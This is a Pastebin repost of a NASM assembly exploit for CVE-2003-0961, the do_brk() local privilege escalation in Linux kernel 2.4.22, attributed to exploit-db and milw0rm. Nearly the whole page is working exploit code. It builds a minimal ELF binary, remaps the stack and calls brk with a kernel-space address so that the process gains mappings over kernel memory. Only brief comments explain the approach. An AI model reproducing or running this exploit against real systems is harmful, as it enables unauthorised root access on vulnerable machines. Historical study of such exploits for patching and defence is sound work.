Advertisement
FlyFar

Linux Kernel 2.4.22 - 'do_brk()' Local Privilege Escalation (1) - CVE-2003-0961

Feb 23rd, 2024
917
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 3.42 KB | Cybersecurity | 0 0
  1. ; E-DB Note: Updated Exploit ~ https://www.exploit-db.com/exploits/131/
  2. ;
  3. ; Christophe Devine (devine at cr0.net) and Julien Tinnes (julien at cr0.org)
  4. ;
  5. ; This exploit uses sys_brk directly to expand his break and doesn't rely
  6. ; on the ELF loader to do it.
  7. ;
  8. ; To bypass a check in sys_brk against available memory, we use a high
  9. ; virtual address as base address
  10. ;
  11. ; In most case (let's say when no PaX w/ ASLR :) we have to move the stack
  12. ; so that we can expand our break
  13. ;
  14.  
  15.  
  16.   BITS 32
  17.  
  18.                 org     0xBFFF0000
  19.  
  20.   ehdr:                                                 ; Elf32_Ehdr
  21.                 db      0x7F, "ELF", 1, 1, 1            ;   e_ident
  22.         times 9 db      0
  23.                 dw      2                               ;   e_type
  24.                 dw      3                               ;   e_machine
  25.                 dd      1                               ;   e_version
  26.                 dd      _start                          ;   e_entry
  27.                 dd      phdr - $$                       ;   e_phoff
  28.                 dd      0                               ;   e_shoff
  29.                 dd      0                               ;   e_flags
  30.                 dw      ehdrsize                        ;   e_ehsize
  31.                 dw      phdrsize                        ;   e_phentsize
  32.                 dw      2                               ;   e_phnum
  33.                 dw      0                               ;   e_shentsize
  34.                 dw      0                               ;   e_shnum
  35.                 dw      0                               ;   e_shstrndx
  36.  
  37.   ehdrsize      equ     $ - ehdr
  38.  
  39.   phdr:                                                 ; Elf32_Phdr
  40.                 dd      1                               ;   p_type
  41.                 dd      0                               ;   p_offset
  42.                 dd      $$                              ;   p_vaddr
  43.                 dd      $$                              ;   p_paddr
  44.                 dd      filesize                        ;   p_filesz
  45.                 dd      filesize                        ;   p_memsz
  46.                 dd      7                               ;   p_flags
  47.                 dd      0x1000                          ;   p_align
  48.  
  49.   phdrsize      equ     $ - phdr
  50.  
  51.   _start:
  52.  
  53.         ; ** Make sure the stack is not above us
  54.  
  55.                 mov     eax, 163         ; mremap
  56.                 mov     ebx, esp
  57.        
  58.         and ebx, ~(0x1000 - 1)  ; align to page size
  59.  
  60.         mov ecx, 0x1000 ; we suppose stack is one page only
  61.                 mov     edx, 0x9000 ; be sure it can't get mapped after
  62.                     ; us
  63.                 mov     esi,1       ; MREMAP_MAYMOVE
  64.                 int     0x80
  65.  
  66.  
  67.         and esp, (0x1000 - 1)   ; offset in page
  68.         add esp, eax        ; stack ptr to new location
  69.                         ; nb: we don't fix
  70.                         ; pointers so environ/cmdline
  71.                         ; are not available
  72.  
  73.         mov eax,152     ; mlockall (for tests as root)
  74.         mov ebx,2       ; MCL_FUTURE
  75.         int 0x80
  76.  
  77.         ; get VMAs for the kernel memory
  78.  
  79.                 mov     eax,45          ; brk
  80.                 mov     ebx,0xC0500000
  81.         int 0x80
  82.  
  83.        
  84.         mov ecx, 4
  85.   loop0:
  86.        
  87.         mov eax, 2      ; fork
  88.         int 0x80
  89.         loop    loop0
  90.  
  91.   _idle:
  92.  
  93.                 mov     eax,162         ; nanosleep
  94.                 mov     ebx,timespec
  95.                 int     0x80
  96.                 jmp     _idle
  97.  
  98.   timespec      dd      10,0
  99.  
  100.   filesize      equ     $ - $$
  101.  
  102. ; milw0rm.com [2003-12-02]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement